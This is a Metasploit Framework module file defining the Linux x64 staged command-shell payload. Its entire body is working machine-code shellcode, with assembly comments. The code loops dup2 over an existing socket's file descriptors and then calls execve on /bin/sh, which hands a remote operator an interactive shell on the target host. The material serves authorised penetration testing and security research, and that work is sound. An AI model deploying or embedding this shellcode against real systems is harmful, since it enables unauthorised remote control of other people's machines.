modules/payloads/stages/linux/x64/shell.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell',
'Description' => 'Spawn a command shell (staged)',
'Author' => 'ricky',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Session' => Msf::Sessions::CommandShellUnix,
'Stage' =>
{
'Payload' =>
"\x6a\x03" + # pushq $0x3
"\x5e" + # pop %rsi
"\x48\xff\xce" + # dec %rsi
"\x6a\x21" + # pushq $0x21
"\x58" + # pop %rax
"\x0f\x05" + # syscall
"\x75\xf6" + # jne 3 <dup2_loop>
"\x6a\x3b" + # pushq $0x3b
"\x58" + # pop %rax
"\x99" + # cltd
"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
"\x73\x68\x00" + #
"\x53" + # push %rbx
"\x48\x89\xe7" + # mov %rsp,%rdi
"\x52" + # push %rdx
"\x57" + # push %rdi
"\x48\x89\xe6" + # mov %rsp,%rsi
"\x0f\x05" # syscall
}
))
end
end